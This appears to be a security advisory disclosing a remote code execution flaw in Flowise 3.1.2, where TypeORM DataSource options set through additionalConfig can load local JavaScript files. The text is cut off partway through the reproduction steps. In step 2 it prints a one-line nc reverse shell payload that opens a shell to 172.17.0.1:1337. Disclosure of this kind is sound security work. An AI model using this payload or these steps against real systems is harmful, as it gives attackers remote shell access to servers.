Flowise RCE via TypeORM DataSource
=============================================================================
Security Advisory
elttam
Topic: Flowise RCE via TypeORM DataSource
Module: FlowiseAI/Flowise
Disclosed: 15-Apr-2026
Credits: Alex Brown
Affects: FlowiseAI/Flowise 3.1.2
# I. Background
Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.
Flowise allows users to connect to remote databases within a flow, which is performed using the [TypeORM DataSource](https://typeorm.io/docs/data-source/data-source).
# II. Problem Description
The following nodes allowed users to set arbitrary options for the TypeORM DataSource class using the additionalConfig node input:
- [packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts#L122)
- [packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/PostgresRecordManager/PostgresRecordManager.ts)
- [packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/465005a5036d9c4e5e3a7675527fa4cf9cff7507/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)
- [packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/MySQLAgentMemory/MySQLAgentMemory.ts)
- [packages/components/nodes/memory/AgentMemory/AgentMemory.ts](https://github.com/FlowiseAI/Flowise/blob/5a37227d14dbe34234aa1cca97bc12092e0dbcd6/packages/components/nodes/memory/AgentMemory/AgentMemory.ts)
This is considered a dangerous coding practice, because the [options for the TypeORM DataSource class support loading local files as JavaScript code](https://typeorm.io/docs/data-source/data-source).
The following documents the steps to reproduce this RCE vulnerability by abusing the additionalConfig input on a MySQL Record Manager (packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts) node:
1. Log into a Flowise instance and note the organisation ID in the response from POST /api/v1/auth/login, as shown below.
```http
HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE"
Date: Wed, 15 Apr 2026 10:58:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"activeOrganizationCustomerId": null,
"activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
"activeOrganizationProductId": "",
"activeOrganizationSubscriptionId": null,
"activeWorkspace": "Default Workspace",
"activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e",
"assignedWorkspaces": [
{
"id": "3206d8d3-944f-48c6-9332-11e2752b793e",
"name": "Default Workspace",
"organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
"role": "owner"
}
],
"email": "[email protected]",
"features": {},
"id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab",
"isOrganizationAdmin": true,
"isSSO": false,
"name": "Admin",
"permissions": [
"organization",
"workspace"
],
"roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1"
}
```
<1> The organisation ID that is required for a later step.
2. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the vm2 sandbox. The following script is a reverse shell payload that connects to 172.17.0.1:1337 that had a filename of rce.js.
```js
process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')
```
3. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the
POST /api/v1/document-store/loader/process/{loader_id} endpoint and retrieve the storeId, as demonstrated in the response below.
```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1000
ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o"
Date: Wed, 15 Apr 2026 10:59:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{
"characters": 94,
